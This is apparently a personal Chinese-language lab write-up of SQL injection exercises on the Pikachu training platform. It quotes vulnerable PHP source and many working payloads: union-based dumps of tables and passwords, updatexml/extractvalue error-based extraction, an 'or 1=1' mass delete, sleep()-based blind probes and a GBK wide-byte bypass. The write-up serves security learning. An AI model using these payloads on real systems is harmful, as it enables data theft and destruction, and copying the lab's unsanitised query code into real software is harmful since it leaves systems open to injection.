# 其他数据类型说明 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointerreference U - unicodestring
# 源代码分析 # 输入“'”搜索,还真提示引号没闭合,得注意点报错 # You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 # 直接用‘--+’给他把后边的给注释吧
if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username='$name'"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} your email is: {$email}</p>"; } }else{
# 执行当前所有查询操作 http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucyname=kobe' or 1=1--+&submit=查询
# 获取当前数据库下所有表名 http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+&submit=查询
# 查询users表中所有字段 http://192.168.135.132:49154/vul/sqli/sqli_str.php?name=lucy' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+&submit=查询
# 搜索框直接输入 ' order by 2# 判字段,得查询字段为2个 http://192.168.135.132:49154/vul/sqli/sqli_search.php?name=%27+order+by+2%23&submit=%E6%90%9C%E7%B4%A2
# 直接输入搜索框 # 列 users 表字段 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'# # 列所有password 记录 ' union select 1,2,password from users# ' union select 1,2,group_concat(password) from users#
# 分析源码 # 输入 ' 报错: # You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1 # 构造闭合 ''% # 阿巴阿巴啊吧,插不进语句,直接注释吧 # 嘻嘻,多试试总是好的,闭合成功 # i' UNION SELECT TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_TYPE LIKE '%
# 万能的单引号 http://192.168.135.132:49154/vul/sqli/sqli_x.php?name=%27&submit=%E6%9F%A5%E8%AF%A2 # 瞅下报错: # # You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1 # 小括号这是没闭合?闭合并注释后面,得到构造 ')# # 提示:您输入的username不存在,请重新输入! # 加点数据,构造 ') order by 2# # 还是提示:您输入的username不存在,请重新输入! # 把2改成3,哦豁,字段爆出来了:Unknown column '3' in 'order clause'
# 源码 # 比对Navicat中进行的实验。 # select id,email from member where username=(''') # > 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1 # > 时间: 0s # 可以看到,'''')' 可以拆分为 ‘''')’,在Navicat中可以明显看到 ''') 是有问题的,即没闭合造成报错。 # '':指定字符串,无法在其中再使用通配符 # 构造闭合 # lucy') UNION SELECT username,pw FROM member WHERE id=('2 # 完整语句 #select id,email from member where username=('lucy') UNION SELECT username,pw FROM member WHERE id=('2')
if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username=('$name')"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} your email is: {$email}</p>"; } }else{
# 赏密码一个单引号,又来了。 username=admin&password='&sex=&phonenum=&email=&add=&submit=submit # 多个分号表示各个注册参数 # 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''),'','','','')' at line 1
# 赏账号一个单引号 username='admin&password=tumei&sex=&phonenum=&email=&add=&submit=submit # 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin',md5('tumei'),'','','','')' at line 1
# 试下加#号 username=admin&password='#&sex=&phonenum=&email=&add=&submit=submit # 报错:You have an error in0 your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
# 查看系统版本 username=test' or updatexml(1,concat(0x7e,(select @@version),0x7e),0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit # 报错:XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log~'
# 查看数据库用户 username=test' or updatexml(0,concat(0x7e,(select user()) ,0x7e) ,0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit # 报错:XPATH syntax error: '~root@localhost~'
# 拿当前数据库名 username=test' or updatexml(1,concat(0x7e,database(),0x7e),0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit # 报错:XPATH syntax error: '~pikachu~'
# 注册时使用到的数据表 username=test' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'),0x7e),0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit # 报错:Truncated incorrect DOUBLE value: 'test'
# extractvalue() # 查询XML文档的函数 # extractvalue(目标xml文档,xml路径) # extractvalue()能查询字符串的最大长度为32;若超过,则使用substring()函数截取 # 路径为‘/a’得到正常返回,为‘/a/’得到报错返回,如下 select * from member where username='' AND extractvalue(1,'/a/'); # 查询当前数据库 select * from member where username='' AND extractvalue(1,CONCAT(1,DATABASE())); # 查询pikachu数据库下所有表,其中使用substring()函数进行截取 select * from member where username='' AND extractvalue(1,concat(0x7e,(select subString(GROUP_CONCAT(table_name),1,8) from information_schema.tables where table_schema='pikachu'),0x7e)); # 返回:XPATH syntax error: '~httpinfo~' # 截取后半部分未显示的表名 select * from member where username='' AND extractvalue(1,concat(0x7e,(select subString(GROUP_CONCAT(table_name),15,32) from information_schema.tables where table_schema='pikachu'),0x7e)); # 返回:XPATH syntax error: '~r,message,users,xssblind~'
# updatexml() # 更新xml文档的函数 # updatexml(目标xml文档,xml路径,更新的内容) # 正常使用 select * from member where username='' or updatexml(1,'/a','admin'); # updatexml(1,'/a','admin') 返回true,若路径为‘/a/’将触发报错机制,如下为报错结果 # XPATH syntax error: '' # 写入' or updatexml(1,concat(0x7e,(select @@version),0x7e),0); select * from member where username='' or updatexml(1,concat(0x7e,(select @@version),0x7e),0); # 报错返回:XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log~' # 查询pikachu数据库下的所有表,其中使用了GROUP_CONCAT()多行显示问题(Subquery returns more than 1 row) select * from member where username='' or updatexml(1,concat(0x7e,(select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),0); # 返回结果:XPATH syntax error: '~httpinfo,member,message,users,x' # 对比数据库可知,返回结果的x全文应为xssblind, # 多次比对,结果显而易见 select email from member where username='' or updatexml(1,concat(0x7e,(select GROUP_CONCAT(username) FROM member),0x7e),1); # 通过SUBSTRING()方法获取后半部分,一次最多显示32个字符,为保证lucy的完整性,从30位开始 select email from member where username='' or updatexml(1,concat(0x7e,(select SUBSTRING(GROUP_CONCAT(username),30,32) FROM member),0x7e),1); # 结果:> 1105 - XPATH syntax error: '~lucy,lili,admin,admin,admin1,ro' # # # exp() 溢出报错注入 # 该函数以e为底的指数函数,在参数大于709时溢出报错 select exp(710); # > DOUBLE value is out of range in 'exp(710)' select ~0; # 将0按位取反就会返回“18446744073709551615” select ~(select version()); # 显示数据库版本,并将之按位取反得到“18446744073709551610” # 子查询结合按位求反,造成DOUBLE overflow error,并借由此注出数据。 # 呃……这里有些懵,看其他师傅的解析也还是懵,后边再看吧 select exp(~(select * from(select database())x)); # 报错:DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))' # 好吧,当前版本mysql数据库(5.7.26-0ubuntu0.18.04.1-log)无法实现报错,5.5.42版本的EXP() 函数可以实现报错注入 # 发现一个报错显示当前数据库名的方法 select * from a # > 1146 - Table 'pikachu.a' doesn't exist
# 引号测试报错 # > 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 2
# or1=1 制造永真式删除 message 表中所有数据 delete from message where id=58OR1=1; # 返回:> Affected rows: 2
# 结合 updatexml 函数进行报错注入 # or updatexml(1,concat(0x7e,(select GROUP_CONCAT(username) FROM member),0x7e),0) delete from message where id=58or updatexml(1,concat(0x7e,(select GROUP_CONCAT(username) FROM member),0x7e),0);
# 结合 extractvalue() 函数进行报错注入 # or extractvalue(1,concat(0x7e,(select GROUP_CONCAT(TABLE_SCHEMA) FROM information_schema.TABLES ),0x7e)) 进行查所有数据库名操作 delete from message where id=58or extractvalue(1,concat(0x7e,(select GROUP_CONCAT(TABLE_SCHEMA) FROM information_schema.TABLES ),0x7e)); # GROUP_CONCAT() 函数的最大允许结果长度(以字节为单位),默认值为1024,超过直接报截断错误:> 1260 - Row 54 was cut by GROUP_CONCAT() #使用 DISTINCT 关键字干掉重复值 # DISTINCT 关键字与 SELECT 语句一起使用,来消除所有重复的记录,并只获取唯一一次记录,但效果似乎不是很好 delete from message where id=58AND extractvalue(1,concat(0x7e,(select GROUP_CONCAT(distinct TABLE_SCHEMA) FROM information_schema.TABLES),0x7e)) # 报错结果:> 1105 - XPATH syntax error: '~information_schema,mysql,perfor' # 使用 LIMIT 子句限制 SELECT 语句中查询的数据的数量,使用 OFFSET 子句设置偏移量(偏移量0开始计算) delete from message where id=58AND extractvalue(1,concat(0x7e,(select TABLE_SCHEMA FROM information_schema.TABLES LIMIT 1 OFFSET 205),0x7e)) # 返回结果:> 1105 - XPATH syntax error: '~sys~' # 但有个问题,这个偏移量需要设置的有点多呀,还是需要用到 DISTINCT 关键字干掉重复值 delete from message where id=58AND extractvalue(1,concat(0x7e,(select DISTINCT TABLE_SCHEMA FROM information_schema.TABLES LIMIT 1 OFFSET 1),0x7e)) # 简单解析下上面的 sql 语句 # 1.通过 AND 关键字实现多个语句的使用 # 2.通过 extractvalue 函数进行报错,其返回结果位不正确的参数 # 3.通过 concat 函数进行字符串的连接,主要为 extractvalue 函数提供不正确的参数(0x7e的作用) # 4.通过 DISTINCT 关键字获取 TABLE_SCHEMA 字段所有记录的唯一值 # 5.通过 LIMIT 关键字限制查找单条记录 # 6.通过 OFFSEC 关键字设置偏移量,打破了1 row报错,实现查询整个表 # 想起之前用到的 SUBSTRING 关键字,对字符串进行提取!每次查找获得一次,先说一下思路,使用 DISTINCT 关键字对查找字段进行去重,然后使用 GROUP_CONCAT 方法成组,当过长则使用 SUBSTRING 方法进行截取显示 select GROUP_CONCAT( DISTINCT TABLE_SCHEMA) FROM information_schema.TABLES; # 现在的问题,前两步可以实现,但接入第三步只显示第一个数据库。??可以了,好吧,多试试,可能是哪个字符写错了 select SUBSTRING(GROUP_CONCAT( DISTINCT TABLE_SCHEMA),32,32) FROM information_schema.TABLES; # 当前题目的语句 # 写入or extractvalue(1,concat(0x7e,(select SUBSTRING(GROUP_CONCAT( DISTINCT TABLE_SCHEMA),32,32) FROM information_schema.TABLES),0x7e)) # 完整sql语句 delete from message where id=58or extractvalue(1,concat(0x7e,(select SUBSTRING(GROUP_CONCAT( DISTINCT TABLE_SCHEMA),32,32) FROM information_schema.TABLES),0x7e),1) # 报错结果:XPATH syntax error: '~mance_schema,pikachu,pkxss,sys~'
# 憨憨如我,一直尝试登录界面的请求,而没在意登陆成功后的响应 # 这不就来了吗 # # You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','51013')' at line 1 # # 登录成功后的响应 GET/vul/sqli/sqli_header/sqli_header.phpHTTP/1.1 Host: 192.168.135.130:49154 User-Agent: ' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=lc7ll418j82rovatgm64brnf5j DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
# 任意输入看提示;输入存在账户,都是提示: i don't care who you are! # 不在乎我是谁? # 根据关卡名判断,与时间有关!F12分别看下响应时间,多次测试得到:36ms和31ms # 注:正确账户响应时间更长 # 试了下其他操作,有些命令执行时间过短,难以判断,调用 if 语句和 sleep() 函数进行延时判断: lucy' and if(substring(database(),1,1)='p',sleep(6),null)# # 语句解析:当 if 语句为 TRUE,则延时6s,反之时间很小,多以ms为单位 # # 其他payload # 查看当前数据库名长度 lucy' and if(length(database())=7, sleep(6), null)# # 查看所有数据库名成组后长度 lucy' and if((SELECT length(GROUP_CONCAT(DISTINCT TABLE_SCHEMA)) FROM information_schema.TABLES)=61,sleep(6),null)# # 想着试下 union 关键字,额,没显示呀 # 搞下报错,……搞不出,好吧,太菜了
if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 $result=mysqli_query($link, $query);//mysqi_query不打印错误描述 // $result=execute($link, $query); // $html.="<p class='notice'>i don't care who you are!</p>"; if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; //这里不管输入啥,返回的都是一样的信息,所以更加不好判断 $html.="<p class='notice'>i don't care who you are!</p>"; } }else{
$html.="<p class='notice'>i don't care who you are!</p>"; } }
# 哒哒哒,骑上我心爱的小摩托! # payload:1%df%27+or+1=1# # 咋咧,直接写入不存在?hacker 插件写入也不存在 # burp,我们走!(请求包放下一个代码块)什么原理,居然可以 # 有点明白,不知道对不对,即编码次数与解码次数不一致导致无法正确识别 # bp抓包可以看到,1%df%27+or+1=1# 被再次编码:1%25df%2527%2Bor%2B1%3D1%23 # 问题分析:上边的单引号已经使用%27进行编码,当浏览器上传时再次编码,源码文件中再次进行转义,但此时 escape() 函数已经无法识别出单引号了;即便语句换成 1%df' or 1=1# 也因浏览器的上传编码导致单引号变成%27,最后 escape() 函数也不需要进行转义处理。 # 更改下,使用hacker插件写入 1%df' or 1=1# 作为 name 值,可以 # # # 其他payload # 联合语句拿所有数据库名 # name=1%DF' union SELECT 1,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.TABLES#&submit=%E6%9F%A5%E8%AF%A2 # 拿当前数据库名 # name=1%DF' union SELECT 1,database()#&submit=%E6%9F%A5%E8%AF%A2 # # # 就使用数据库测试时发现,有个奇怪的,根据源码拼接转义后字符串:1�\' or 1=1# ,即 # select id,email from member where username='1�\' or 1=1# # 报错:> 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1�\' or 1=1#' at line 1 # 少个单引号?什么操作,源码里还有什么操作滴?瞅了一眼,就是直接拼接呀,加个输出(源码解析里看原因):<?php echo $query;?> # select id,email from member where username='1�\' or 1=1#' # 自提供的单引号倒是构成了闭合,但没数据呀 # 再看看,看到没:execute($link,$set); ,设置客户端来源编码为 GBK , # 当再执行 mysqli_query($link, $query); 时,因为 SQL 语句中的 '�' 转成 ASCII 码为253,大于128,进入汉字范围,则需要与后一个字符进行组合形成一个汉字(两个字符组成一个汉字),因此,我们的单引号就逃逸了,SQL语句能够形成闭合,造成宽字节注入的实现,这就是宽字节注入的所有实现过程。
$name = escape($link,$_POST['name']); $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题 $set = "set character_set_client=gbk"; execute($link,$set);
//mysqi_query不打印错误描述 $result=mysqli_query($link, $query); if(mysqli_num_rows($result) >= 1){ while ($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; }
if(isset($_GET['id']) && is_numeric($_GET['id'])){ $id=escape($link, $_GET['id']); $query="delete from cookies where id=$id"; execute($link, $query); } ?>
if(isset($_GET['id']) && is_numeric($_GET['id'])){ $id=escape($link, $_GET['id']); $query="delete from fish where id=$id"; execute($link, $query); } ?>